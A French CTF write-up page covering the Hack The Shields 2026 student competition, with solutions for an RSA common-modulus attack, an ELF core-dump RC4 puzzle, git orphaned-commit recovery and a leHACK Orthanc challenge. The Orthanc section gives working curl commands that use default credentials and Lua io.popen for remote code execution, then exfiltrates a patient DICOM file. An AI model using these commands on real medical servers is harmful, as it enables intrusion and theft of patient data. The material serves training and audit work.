# Onosh'tes

Welcome to the page where you will find each hacking trick/technique/whatever I have learnt in CTFs, real life apps, and reading researches and news.


# HackTheShields 2026

En cybersécurité, les compétences techniques sont essentielles. Mais savoir travailler en équipe, gérer un projet, respecter un cahier des charges ou encore coordonner différents intervenants l’est tout autant.

C’est précisément ce qu’ont expérimenté les alternants de la promotion 2026 du Titre RNCP [Chef de Projet Systèmes, Réseaux et Sécurité (CPSRS)](https://www.groupe-saintjean.fr/formations/bachelor-securite-informatique/) du [CFA de La Salle](https://www.groupe-saintjean.fr/etablissements/cfa-de-la-salle/) à travers un projet ambitieux : imaginer et organiser leur propre compétition de cybersécurité.

Baptisé Hack The Shields, cet événement est bien plus qu’un simple exercice pédagogique. Pendant plusieurs mois, les étudiants ont endossé le rôle de véritables chefs de projet. De la création du scénario à la conception des épreuves techniques, en passant par la recherche de partenaires, la communication et l’organisation logistique, ils ont piloté chaque étape de l’événement.

<img src="https://www.groupe-saintjean.fr/wp-content/uploads/2026/06/affiche-hack-the-shields-2026-485x600.jpg" alt="Evénement Cyber HACK THE SHIELDS du CFA de La Salle." height="297" width="240">

Le samedi 6 juin 2026, les participants seront plongés dans l’univers d’Orion Industries, une entreprise fictive au cœur d’une intrigue cyberpunk. Leur mission : infiltrer les systèmes de l’entreprise pour découvrir les secrets du mystérieux Projet LUCID.

Pour y parvenir, ils devront relever des défis inspirés des problématiques rencontrées par les professionnels de la cybersécurité : web hacking, cryptographie, analyse réseau, investigation numérique (forensics) ou encore OSINT.

Mais derrière cette journée de compétition se cache surtout une expérience d’apprentissage particulièrement riche.

Au sein de la [formation CPSRS](https://www.groupe-saintjean.fr/formations/bachelor-securite-informatique/), proposé en [alternance au CFA de La Salle](https://www.groupe-saintjean.fr/etablissements/cfa-de-la-salle/), les alternants sont régulièrement amenés à travailler sur des projets concrets afin de développer à la fois leur expertise technique et leurs compétences en gestion de projet. Cette approche professionnalisante permet de les préparer aux réalités du terrain et aux métiers des systèmes, des réseaux et de la cybersécurité. Aujourd’hui, la formation affiche d’ailleurs un taux de réussite de 100% sur les trois dernières années.

Avec Hack The Shields, les étudiants ont pu mettre en pratique l’ensemble des compétences développées durant leur année de formation : sécurisation des infrastructures, gestion d’équipe, communication, organisation et conduite de projet.

Les étudiants ont pu également compter sur le soutien de partenaires engagés : l’ANSSI, le Crédit Agricole d’Ille-et-Vilaine, Root-Me PRO, Convivio et le [Groupe Saint Jean](https://www.groupe-saintjean.fr/). Hack The Shields est également labellisé par Bretagne Cyber Alliance, une belle reconnaissance pour ce projet porté de A à Z par nos étudiants.

Une belle illustration de la pédagogie portée par le [CFA de La Salle](https://www.groupe-saintjean.fr/etablissements/cfa-de-la-salle/) et le Groupe Saint Jean : apprendre en faisant, gagner en autonomie et préparer les futurs professionnels aux enjeux concrets du numérique.

<https://www.groupe-saintjean.fr/des-alternants-en-cybersecurite-creent-leur-propre-ctf-immersion-dans-le-projet-hack-the-shields/>


# Crypto - Common Modulus Attack

### 1. Énoncé

> Deux agents d'Orion, sous couverture, communiquent via des canaux RSA distincts. Nous avons intercepté leurs messages chiffrés (`msg1.enc`, `msg2.enc`) ainsi que leurs clés publiques respectives (`agent1_pub.pem`, `agent2_pub.pem`). Déchiffrez le message d'origine pour intercepter leur échange.
>
> **Format du flag :** `HTS{...}`

#### Fichiers fournis

| Fichier          | Taille     | Description                              |
| ---------------- | ---------- | ---------------------------------------- |
| `agent1_pub.pem` | 451 octets | Clé publique RSA de l'agent 1            |
| `agent2_pub.pem` | 451 octets | Clé publique RSA de l'agent 2            |
| `msg1.enc`       | 256 octets | Message chiffré avec la clé de l'agent 1 |
| `msg2.enc`       | 256 octets | Message chiffré avec la clé de l'agent 2 |

{% file src="/files/gMmWxPPF5HJ5otme0lgc" %}

{% file src="/files/wlMauXipvOY8mcrnKxNZ" %}

{% file src="/files/wog0mSUaDZ9ol8Hc2xjT" %}

{% file src="/files/A9Bg4X8HktzskjUrhTcO" %}

***

### 2. Analyse des clés publiques

La première étape consiste à inspecter les deux clés publiques :

```bash
openssl rsa -pubin -in agent1_pub.pem -text -noout
openssl rsa -pubin -in agent2_pub.pem -text -noout
```

**Résultat :**

| Paramètre    | agent1\_pub.pem           | agent2\_pub.pem   |
| ------------ | ------------------------- | ----------------- |
| Taille       | 2048 bits                 | 2048 bits         |
| Modulus `n`  | `0xac84e669be0a...f2f3d7` | **identique**     |
| Exposant `e` | `65537` (0x10001)         | `65539` (0x10003) |

#### Observation

Les deux agents partagent **exactement le même modulus `n`** (2048 bits), mais utilisent des exposants publics différents :

* `e₁ = 65537` (exposant RSA standard)
* `e₂ = 65539` (exposant RSA non standard)

Cette configuration est la condition exacte d'une **attaque Common Modulus**.

***

### 3. La vulnérabilité : Common Modulus Attack

#### Principe

L'attaque Common Modulus exploite le scénario où le **même message `m`** est chiffré deux fois avec le **même modulus `n`** mais deux exposants différents `e₁` et `e₂` :

```
c₁ = m^e₁ mod n
c₂ = m^e₂ mod n
```

#### Condition nécessaire

L'attaque fonctionne si et seulement si :

```
gcd(e₁, e₂) = 1
```

Vérifions :

```
gcd(65537, 65539) = gcd(65537, 2) = 1
```

#### Démonstration mathématique

Par le **théorème de Bézout**, puisque `gcd(e₁, e₂) = 1`, il existe des entiers `a` et `b` tels que :

```
a·e₁ + b·e₂ = 1
```

En appliquant l'algorithme d'Euclide étendu sur `e₁=65537` et `e₂=65539` :

```
65539 = 1·65537 + 2
65537 = 32768·2 + 1
```

En remontant :

```
1 = 65537 − 32768·2
1 = 65537 − 32768·(65539 − 65537)
1 = 32769·65537 − 32768·65539
```

Donc : **`a = 32769`** et **`b = −32768`**

#### Récupération du message

On calcule :

```
m = c₁^a · c₂^b mod n
  = c₁^32769 · c₂^(−32768) mod n
  = c₁^32769 · (c₂^(−1))^32768 mod n
```

Avec `c₂^(−1)` = inverse modulaire de `c₂` mod `n`.

Cela fonctionne car :

```
c₁^a · c₂^b = (m^e₁)^a · (m^e₂)^b
             = m^(a·e₁) · m^(b·e₂)
             = m^(a·e₁ + b·e₂)
             = m^1
             = m (mod n)
```

***

### 4. Exploitation

#### Script Python

```python
import math, re

def parse_pem_pubkey(filename):
    import base64
    with open(filename) as f:
        data = f.read()
    b64 = ''.join(data.strip().split('\n')[1:-1])
    der = base64.b64decode(b64)

    def parse_len(data, pos):
        l = data[pos]; pos += 1
        if l & 0x80:
            nb = l & 0x7f
            l = int.from_bytes(data[pos:pos+nb], 'big')
            pos += nb
        return l, pos

    def parse_int(data, pos):
        assert data[pos] == 0x02; pos += 1
        l, pos = parse_len(data, pos)
        return int.from_bytes(data[pos:pos+l], 'big'), pos + l

    i = 0
    while der[i] != 0x03: i += 1
    i += 1; l, i = parse_len(der, i); i += 1
    assert der[i] == 0x30; i += 1; l, i = parse_len(der, i)
    n, i = parse_int(der, i)
    e, i = parse_int(der, i)
    return n, e

n, e1 = parse_pem_pubkey('agent1_pub.pem')
_, e2 = parse_pem_pubkey('agent2_pub.pem')

c1 = int.from_bytes(open('msg1.enc', 'rb').read(), 'big')
c2 = int.from_bytes(open('msg2.enc', 'rb').read(), 'big')

def egcd(a, b):
    old_r, r = a, b
    old_s, s = 1, 0
    while r != 0:
        q = old_r // r
        old_r, r = r, old_r - q * r
        old_s, s = s, old_s - q * s
    return old_r, old_s, (old_r - old_s * a) // b if b else 0

def modinv(x, m):
    _, inv, _ = egcd(x % m, m)
    return inv % m

g, a, b = egcd(e1, e2)

if a < 0:
    c1u = modinv(c1, n); au = -a
else:
    c1u = c1; au = a

if b < 0:
    c2u = modinv(c2, n); bu = -b
else:
    c2u = c2; bu = b

m = (pow(c1u, au, n) * pow(c2u, bu, n)) % n
m_bytes = m.to_bytes(256, 'big')

if m_bytes[0] == 0x00 and m_bytes[1] == 0x02:
    idx = m_bytes.index(0x00, 2)
    print("Flag (PKCS#1):", m_bytes[idx+1:].decode('utf-8'))
else:
    printable = re.findall(b'[ -~]{4,}', m_bytes)
    for s in printable:
        print("Trouvé:", s.decode())

```

#### Exécution et résultat

```
$ python3 exploit.py
Flag : HTS{S4M3_M0DULUS_TW1C3_TH3_FUN}
```

***

### 5. Conclusion

La **Common Modulus Attack** illustre une règle fondamentale en cryptographie RSA :

> **Ne jamais utiliser le même modulus `n` pour deux paires de clés distinctes.**

Même si les exposants `e₁` et `e₂` sont différents, partager `n` permet à un attaquant de retrouver le message original sans jamais connaître les clés privées, à condition que `gcd(e₁, e₂) = 1`. Cette attaque ne nécessite que les deux chiffrés et les deux clés publiques.


# Forensic - L'ombre d'Orion

### 1. Énoncé

> Lors du crash du drone de transport tactique d'Orion Aerospace, le noyau central de la machine a subi un arrêt brutal. Nos agents sur le terrain ont réussi à dumper la mémoire flash contenant le Core Dump du processus de communication sécurisé (`orion_agent.core`).

{% file src="/files/qXAhJFQRnoL8NKUwHUHn" %}

***

### 2. Reconnaissance initiale

Le fichier est de petite taille (**808 octets**) et n'est pas reconnu par `file` :

```
$ file orion_agent.core
orion_agent.core: data
```

Inspection des premiers octets :

```
$ xxd orion_agent.core | head
00000000: 7f48 5453 0201 0100 0000 0000 0000 0000  .HTS............
00000010: 0400 3e00 0100 0000 0000 0000 0000 0000  ..>.............
...
```

Le *magic number* est `7F 48 54 53` = `\x7f` + `"HTS"`. Un vrai ELF commence par `7F 45 4C 46` (`\x7f` + `"ELF"`).

**Le header a été volontairement corrompu** : `HTS` a remplacé `ELF`. Le reste de l'en-tête est cohérent avec un ELF 64 bits :

* `e_ident[EI_CLASS]=2` → ELFCLASS64
* `e_type=4` → **ET\_CORE** (core dump)
* `e_machine=0x3E` → **x86-64**

Il s'agit donc d'un **core dump ELF x86-64** déguisé.

***

### 3. Correction du binaire

On restaure le magic ELF pour rendre le fichier exploitable par les outils standards :

```python
data = bytearray(open("orion_agent.core","rb").read())
data[1:4] = b"ELF"
open("orion_agent.elf","wb").write(data)
```

Le fichier est désormais lisible par `readelf` :

```
$ readelf -a orion_agent.elf
```

***

### 4. Analyse de la structure ELF

Le core ne contient **que deux program headers** :

| PH | Type      | Offset | VAddr      | FileSz | Flags |
| -- | --------- | ------ | ---------- | ------ | ----- |
| 0  | `PT_NOTE` | 0x00b0 | -          | 0x164  | R     |
| 1  | `PT_LOAD` | 0x0214 | 0x00601000 | 0x114  | R/W   |

#### 4.1 La note `NT_PRSTATUS`

```
$ readelf -n orion_agent.elf

Displaying notes found at file offset 0x000000b0 with length 0x00000164:
  Owner                Data size    Description
  CORE                 0x00000150   NT_PRSTATUS (prstatus structure)
```

En parsant manuellement la structure `elf_prstatus` (64 bits), seules **trois valeurs sont non nulles** (tous les registres sont à zéro → dump fabriqué) :

| Offset (note) | Valeur       | Décimal      | Champ         | Interprétation                                   |
| ------------- | ------------ | ------------ | ------------- | ------------------------------------------------ |
| `0x28`        | `0x000012DD` | `4829`       | `pr_pgrp`     | **PID**                                          |
| `0x2C`        | `0x000012DC` | `4828`       | `pr_sid`      | PPID                                             |
| `0x38`        | `0x665674B0` | `1716942000` | `pr_utime`/ts | **Uptime / timestamp** (2024-05-29 00:20:00 UTC) |

#### 4.2 Le segment `PT_LOAD` (le heap)

```
00000210: 0000 0000 4845 4150 5f44 554d 505f 4f52  ....HEAP_DUMP_OR
00000220: 494f 4e5f 4147 454e 5400 ...             ION_AGENT.......
...
00000290: 0000 0000 c850 e562 7528 09ae 130d cac5  .....P.bu(......
000002a0: 2192 de8e 5434 83e7 0700 87eb 1e7d 1165  !...T4.......}.e
...
00000320: 6827 bbb0 ac2b e712                       h'...+..
```

Le segment chargé en mémoire (vaddr `0x601000`) contient :

* Le label ASCII `HEAP_DUMP_ORION_AGENT`
* Une zone de zéros (padding)
* À partir de l'offset fichier `0x294` : **148 octets de données à haute entropie**

C'est certainement notre flag ;).

***

### 5. Reconstruction de la clé

Un indice donné dans le challenge donne la recette : **`seed = PID ^ Uptime`**

```
PID    = 4829       (0x12DD)
Uptime = 1716942000 (0x665674B0)

seed = 4829 ^ 1716942000 = 1716938349
```

Le point clé (et le piège du challenge) : la seed n'est **pas** utilisée comme graine d'un `srand()`/PRNG, mais convertie en **chaîne de caractères décimale** qui sert directement de **clé RC4** :

```
clé RC4 = "1716938349"   (ASCII)
```

***

### 6. Déchiffrement

```python
#!/usr/bin/env python3
from Crypto.Cipher import ARC4

data = open("orion_agent.core", "rb").read()

blob = data[0x294:0x328]

PID    = 4829
UPTIME = 1716942000

seed = PID ^ UPTIME            
key  = str(seed).encode()

print(ARC4.new(key).decrypt(blob).decode())
```

Sortie :

```
--- ORION SECURE TRANSMISSION ---
SENDER_PID: 4829
UPTIME: 1716942000s
FLAG: HTS{qui_a_eteint_mon_elfe_de_maison}
---------------------------------
```

***

### 7. Conclusion

1. **Identifier** le magic corrompu `\x7fHTS` → core dump ELF x86-64 déguisé.
2. **Réparer** le header (`HTS` → `ELF`) pour utiliser `readelf`.
3. **Extraire** de la note `NT_PRSTATUS` : `PID = 4829` et `Uptime = 1716942000`.
4. **Localiser** le blob chiffré dans le segment `PT_LOAD` (`HEAP_DUMP_ORION_AGENT`).
5. **Calculer** la seed : `PID ^ Uptime = 1716938349`.
6. **Déchiffrer** en **RC4** avec la clé = seed sous forme de **chaîne ASCII**.

Avis personnel :&#x20;

* Rien dans le binaire n'indique `seed → str() ASCII → clé RC4`. L'indice « seed = PID ^ Uptime » oriente vers `srand(seed)` + XOR. Le saut vers RC4 textuel relève de la **devinette**. Sans l'indice, le challenge est difficilement réalisable dans le temps du CTF...


# Web / Forensic - Projet Orion-Verifier

### Énoncé

> Nous avons mis la main sur un portail de vérification de l'unité Orion (en version Alpha) ainsi que sur une archive de leur dépôt de code source (fichier ZIP). D'après nos renseignements, un développeur incompétent d'Orion a malencontreusement commité un fichier critique contenant des secrets avant de réaliser son erreur. Il a cru bien faire en supprimant le commit et en réécrivant l'historique... Mais sur Git, rien ne disparaît vraiment si l'on sait où chercher.

{% file src="/files/x3anTgz05vqTrIV8Wh2K" %}

***

### Reconnaissance initiale

#### Contenu du dépôt

L'archive fournie contient un dépôt Git avec la structure suivante :

```
orion_verifier/
├── .git/           
├── CHANGELOG.md
├── README.md
├── config.py
├── docs/
├── requirements.txt
├── tests/
└── verifier.py
```

#### Historique Git visible

```
git log --all --oneline --graph

* 7347a24 Update changelog and remove sensitive files
* 0394d53 Add unit tests
* 2bff3d9 Add documentation and gitignore
* f48e3f4 Initial commit: Setup du projet Orion Verifier
```

L'historique "propre" ne contient que 4 commits anodins. Le dernier en date (`7347a24`) mentionne explicitement **"remove sensitive files",** ce qui est déjà un indice fort : quelqu'un a essayé d'effacer quelque chose.

***

### Analyse du `.git`

#### Fichiers clés du répertoire `.git`

```
.git/
├── COMMIT_EDITMSG
├── HEAD
├── ORIG_HEAD       
├── logs/
├── objects/    
├── packed-refs
└── refs/
```

#### Le fichier `ORIG_HEAD`

Lorsqu'un développeur effectue un `git reset`, `git rebase`, ou `git merge`, Git sauvegarde automatiquement l'ancien pointeur HEAD dans le fichier **`ORIG_HEAD`**. C'est un mécanisme de sécurité interne de Git, conçu pour permettre l'annulation de l'opération.

```
$ cat .git/ORIG_HEAD
249823615b585bbc30f6c398bdf10fd21f5d86fc
```

Ce hash pointe vers un commit qui n'apparaît **plus** dans `git log` : il est *orphelin* (unreachable), mais toujours présent dans les objets Git.

***

### Retrouver le commit supprimé

#### Vérification avec `git fsck`

```
$ git fsck --unreachable
unreachable commit 249823615b585bbc30f6c398bdf10fd21f5d86fc
unreachable blob 8a804645b3cac63fe2c3d30caddfa97eb5046556
unreachable blob 25ede5bf5f8530014173affbeb496026c1798d72
unreachable tree a7b9a7d6c0f261840dd3b38611c77295246623e9
...
```

Le commit `2498236...` est bien présent dans les objets Git sous le statut `unreachable`. Git ne le liste pas dans `git log` car aucune branche ni aucun tag ne pointe vers lui, mais **il n'a pas été purgé** (cela nécessiterait un `git gc --prune=all` explicite).

#### Consultation du commit orphelin

```
$ git show 249823615b585bbc30f6c398bdf10fd21f5d86fc
```

```
commit 249823615b585bbc30f6c398bdf10fd21f5d86fc
Author: Orion Dev Team <dev@orion.internal>
Date:   Mon Nov 10 23:30:49 2025 +0100

    Add production credentials and configuration

diff --git a/.backup_secrets.b64 b/.backup_secrets.b64
new file mode 100644
index 0000000..8a80464
--- /dev/null
+++ b/.backup_secrets.b64
@@ -0,0 +1 @@
+U0hJRUxEU3tHMVRfUjNWMzRMU19USDNfUDRTVH0=

diff --git a/.env b/.env
new file mode 100644
index 0000000..25ede5b
--- /dev/null
+++ b/.env
@@ -0,0 +1,5 @@
+# Configuration de production
+DATABASE_URL=postgresql://prod-db.orion.internal/orion_prod
+API_KEY=sk_live_51HxK9mP2qR3sT4uV5wX6yZ7aB8cD9eF0gH1iJ2kL3mN4oP5qR6sT7uV8wX9yZ
+SECRET_KEY=super_secret_key_do_not_commit_this_in_real_life
+DEBUG=false
```

Deux fichiers sensibles ont été commités :

| Fichier               | Contenu                                                 |
| --------------------- | ------------------------------------------------------- |
| `.env`                | Credentials de production (DB URL, API Key, Secret Key) |
| `.backup_secrets.b64` | Chaîne encodée en Base64                                |

***

### Décodage du secret

Le fichier `.backup_secrets.b64` contient :

```
U0hJRUxEU3tHMVRfUjNWMzRMU19USDNfUDRTVH0=
```

Décodage Base64 :

```bash
$ echo "U0hJRUxEU3tHMVRfUjNWMzRMU19USDNfUDRTVH0=" | python -c "import base64,sys; print(base64.b64decode(sys.stdin.read().strip()).decode())"
SHIELDS{G1T_R3V34LS_TH3_P4ST}
```


# leHACK 2024 - Challenge DLS

Initié en 2003 par un groupe de personnes réunies sous le nom de Hackerz Voice et inspiré par le célèbre événement de hacking américain nommé DEFCON, leHACK fête ses 20 ans en 2024.

Pour l'occasion, en tant qu'ancien étudiant du Pôle Supérieur De La Salle (association SHIELDS), accompagné de la marraine de la promotion 2024 Claire Kemp, fondatrice de la société IT-Gnosis, j'ai eu l'occasion de créer un challenge pour animer le stand.

## Contexte

Le RSSI du CHU HACK vous sollicite pour un test d’intrusion sur son système d’information hospitalier (SIH). Il attire votre attention sur un serveur utilisé pour l’imagerie médicale. Apparemment, les équipes techniques assurent l’avoir bien sécurisé. Prouvez-lui le contraire en lui donnant le nom du patient ayant réalisé un IRM cérébral.

Le serveur est accessible sur l'URL <https://medic.hopto.org>

<figure><img src="/files/g1wvOkPCDIENrXK47SCy" alt=""><figcaption></figcaption></figure>

## Step 1 - Reconnaissance

On commence par regarder ce que contient notre serveur web :&#x20;

* nginx/1.18.0
* Une balise html avec le texte "Orthanc"

```bash
curl -ilkvs https://medic.hopto.org
* Server certificate:
*  subject: CN=medic.hopto.org
*  start date: Jul  1 19:03:13 2024 GMT
*  expire date: Sep 29 19:03:12 2024 GMT
*  issuer: C=US; O=Let's Encrypt; CN=R11
*  SSL certificate verify ok.
> GET / HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
HTTP/1.1 200 OK
< Server: nginx/1.18.0
Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 06:48:40 GMT
Date: Sun, 07 Jul 2024 06:48:40 GMT
< Content-Type: text/html
Content-Type: text/html
< Content-Length: 15
Content-Length: 15
< Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
< Connection: keep-alive
Connection: keep-alive
< ETag: "66895204-f"
ETag: "66895204-f"
< Accept-Ranges: bytes
Accept-Ranges: bytes

<
<p>Orthanc</p>

```

Qu'est ce que "Orthanc" ?

{% embed url="<https://www.orthanc-server.com/>" %}

ORTHANC est une plateforme open-source dédiée à la gestion et à l'archivage des images médicales, principalement au format DICOM (Digital Imaging and Communications in Medicine). Elle permet de stocker, de manipuler et de partager des images médicales, facilitant ainsi l'interopérabilité entre différents systèmes et dispositifs médicaux. ORTHANC est utilisée dans les hôpitaux et les cliniques pour gérer les données d'imagerie médicale de manière sécurisée et efficace. Elle propose une API RESTful qui permet l'intégration avec d'autres logiciels médicaux et outils de visualisation.

* On apprend qu'il y a une API.

La documentation est disponible en ligne :&#x20;

{% embed url="<https://orthanc.uclouvain.be/book/users/rest-cheatsheet.html>" %}

On apprend aussi qu'une CVE est sortie en 2023 :&#x20;

{% embed url="<https://www.cyberveille-sante.gouv.fr/alertes/orthanc-cve-2023-33466-2023-10-25>" %}

> Orthanc before 1.12.0 allows authenticated users with access to the Orthanc API to overwrite arbitrary files on the file system, and in specific deployment scenarios allows the attacker to overwrite the configuration, which can be exploited to trigger Remote Code Execution (RCE).

Un POC est disponible en ligne :&#x20;

{% embed url="<https://github.com/ShielderSec/poc/blob/main/CVE-2023-33466/exploit.py>" %}

Il demande plusieurs prérequis :&#x20;

* [x] l'URL du serveur
* [ ] Les identifiants du serveur
* [ ] Un fichier de configuration

```
parser = ArgumentParser()
parser.add_argument('--url', required=True, help='The URL of the target')
parser.add_argument('--credentials', default='orthanc:orthanc', help='The basic authentication credentials')
parser.add_argument('--config-path', default='/etc/orthanc/orthanc.json', help='The path to the configuration file')
args = parser.parse_args()
```

Infos d'internet pour les identifiants :&#x20;

<figure><img src="/files/g15jNX2tEsxenJ38Pu86" alt=""><figcaption></figcaption></figure>

Conf par défaut trouvable sur internet :&#x20;

{% embed url="<https://github.com/qureai/ohif-docker-compose/blob/main/orthanc.json>" %}

Le POC met à disposition un script pour vérifier la vulnérabilité :&#x20;

{% file src="/files/Zf7IfioFXDiqI6wupnh3" %}

Contenu de mon fichier host.txt :&#x20;

```
medic.hopto.org,443
```

On découvre que l'exploit est impossible :&#x20;

<pre class="language-bash"><code class="lang-bash"><strong>$ python check_exploit.py hosts.txt
</strong>Loaded 1 hosts.
Number of vulnerable hosts: 0
</code></pre>

## Step 2 - Initial Access

En analysant le code du POC, on découvre qu'il utilise plusieurs endpoint :&#x20;

* /instances

```bash
 curl -ks https://medic.hopto.org/instances
 
<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>
```

* /tools/reset

```bash
curl -kvs https://medic.hopto.org/tools/reset
.
> GET /tools/reset HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:10:20 GMT
< Content-Type: text/html
< Content-Length: 15
< Last-Modified: Sat, 06 Jul 2024 14:17:40 GMT
< Connection: keep-alive
< ETag: "66895204-f"
< Accept-Ranges: bytes
<
<p>Orthanc</p>

```

* /tools/execute-script

```bash
curl -kvs https://medic.hopto.org/tools/execute-script

> GET /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 401 Unauthorized
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:11:00 GMT
< Content-Length: 0
< Connection: keep-alive
< WWW-Authenticate: Basic realm="Orthanc Secure Area"

```

Le seul endpoint fonctionnel semble être /tools/execute-script, les autres sont trigger par le reverse proxy nginx en frontal du serveur Orthanc, inexploitable.

```bash
curl -kvs https://medic.hopto.org/tools/execute-script -u orthanc:orthanc

> GET /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> Authorization: Basic b3J0aGFuYzpvcnRoYW5j # identifiants par défaut orthanc
> User-Agent: curl/7.65.0
> Accept: */*
< HTTP/1.1 405 Method Not Allowed
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:11:46 GMT
< Content-Length: 0
< Connection: keep-alive
< Allow: POST

```

En utilisant POST, on peut bien interroger l'endpoint :thumbsup: :&#x20;

```bash
curl -kvsX POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc

> POST /tools/execute-script HTTP/1.1
> Host: medic.hopto.org
> Authorization: Basic b3J0aGFuYzpvcnRoYW5j
> User-Agent: curl/7.65.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Server: nginx/1.18.0
< Date: Sun, 07 Jul 2024 07:13:46 GMT
< Content-Type: text/plain
< Content-Length: 0
< Connection: keep-alive

```

## Step 3 - Lateral Movement

On peut se renseigner sur l'endpoint /tools/execute-script dans la doc de l'API :&#x20;

* Il est possible d'exécuter des scripts en LUA (exemple de payload dans le POC d'ailleurs)

<figure><img src="/files/KJ77YVTUUeihLB1jKIEy" alt=""><figcaption></figcaption></figure>

Cette commande permet de faire un simple print en LUA :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print("onosh")'
```

Celle-ci permet de lancer la commande id et de récupérer son résultat :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("id"):read("*a"))'
uid=101(orthanc) gid=102(orthanc) groups=102(orthanc)
```

Maintenant que nous avons notre RCE sur le serveur Orthanc, on doit essayer de retrouver sa base de données (cf Contexte du challenge).

On peut par exemple `find` sur les fichiers où l'utilisateur "orthanc" est propriétaire :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("find / -user orthanc"):read("*a"))' |grep -v '/proc/'
/var/log/orthanc
/var/lib/orthanc
/var/lib/orthanc/db-v6
/var/lib/orthanc/db-v6/8f
/var/lib/orthanc/db-v6/8f/33
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281
/var/lib/orthanc/db-v6/index-wal
/var/lib/orthanc/db-v6/index
/var/lib/orthanc/.bash_history
```

Le résultat `/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281` est intéréssant.

On peut faire un `file` dessus, on remarque qu'il s'agit d'un fichier DICOM (image radio) :&#x20;

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("file /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281"):read("*a"))'
/var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281: DICOM medical imaging data
```

## Step 4 - Exfiltration

Ici les possibilités sont infinies :smile:, voici une méthode :&#x20;

* On lis le fichier.
* On l'encode en b64 (pour faciliter le transfert :trolleybus:).
* On le décode côté attaquant et on le place dans un fichier.

```bash
curl -ks -X POST https://medic.hopto.org/tools/execute-script -u orthanc:orthanc --data-binary 'print(io.popen("cat /var/lib/orthanc/db-v6/8f/33/8f337f9b-0f19-4904-9aa2-119952eb4281 |base64"):read("*a"))' |tr -d '\n' |base64 -d >radio.dcm && file radio.dcm
radio.dcm: DICOM medical imaging data

```

Ensuite, on peut soit faire un strings sur le fichier pour récupérer les métadonnées de la radio :&#x20;

* On identifie le nom du patient "Yves Remord", née le 25/10/1995

```
strings radio.dcm |head -n50
DICM
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.29
1.2.840.10008.1.2.4.50
999.999
DERIVED\PRIMARY\SINGLE PLANE\SINGLE A
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.29
20230404
141917
SIB
1.2.840.10008.5.1.4.1.1.12.1
1.3.12.2.1107.5.4.3.321890.19960124.162922.28
CARDIO-SMS 1.0
------------
------B
--------
--------
------
--------
------
-----------
1.3.12.2.1107.5.4.3.123456789012345.00000000.000000.6
1.3.12.2.1107.5.4.3.123456789012345.00000000.000000.8
00000000
000000
00000000
000000
Hicor Cine
00-00-00
00:00:00
Scene:  14
\PDB\IDM
AMES
Yves Remord
556342B
19951025
-32
CARDIO-D.R. 1.0
1.3.12.2.1107.5.4.3.123456789012345.19950922.121803.6
1.3.12.2.1107.5.4.3.123456789012345.19950922.121803.8
CARDIO-D.R. 1.0 !
MONOCHROME2 (
LIN (
NAT (
@`US
NONE(
CARDIO-D.R. 1.0 )
CARDIO-D.R. 1.0 )
SANTESOFT

```

Pour un peu plus de fun, on peut aussi ouvrir la radio dans un tool comme MicroDicom DICOM Viewer :&#x20;

{% embed url="<https://www.microdicom.com/downloads.html>" %}

<figure><img src="/files/3JnNWcqac8Xv9sgRZU7i" alt=""><figcaption></figcaption></figure>

Voilà ! à tester dans vos audits d'hopitaux, en maitrisant les payloads sur /execute-script... car un `sleep 10000` sur l'endpoint coupe tout le serveur... :clap:

***

## Sources du challenge

Fichier docker-compose.yml

```yaml
version: '3'
services:
  orthanc:
    build: ./orthanc
    container_name: my-orthanc-container
    ports:
      - "127.0.0.1:8042:8042"
```

Fichier Dockerfile

```docker
FROM debian

RUN apt-get update && apt-get install -y --no-install-recommends \
    orthanc \
    gcc \
    netcat-traditional \
    curl \
    file
COPY orthanc.json /etc/orthanc/orthanc.json

COPY curl-script.sh /tmp/curl-script.sh
RUN chown orthanc:orthanc /tmp/curl-script.sh
RUN chmod 700 /tmp/curl-script.sh

COPY patient1.dcm /tmp/patient1.dcm
RUN chown orthanc:orthanc /tmp/patient1.dcm

USER orthanc

CMD ["sh", "-c", "Orthanc /etc/orthanc/orthanc.json & /tmp/curl-script.sh"]
```

Fichier curl-script.sh

```bash
#!/bin/sh

# Wait for Orthanc to be ready
while ! nc -z localhost 8042; do
  sleep 1
done

# Run the curl command
curl -H 'Authorization: Basic b3J0aGFuYzpvcnRoYW5j' -vX POST http://localhost:8042/instances --data-binary @/tmp/patient1.dcm && rm /tmp/patient1.dcm && rm /tmp/curl-script.sh && tail -f /dev/null
```

Fichier orthanc.json

{% file src="/files/rqDBoM6v8hnOvukx7co5" %}
Configuration Orthanc
{% endfile %}

Fichier patient1.dcm

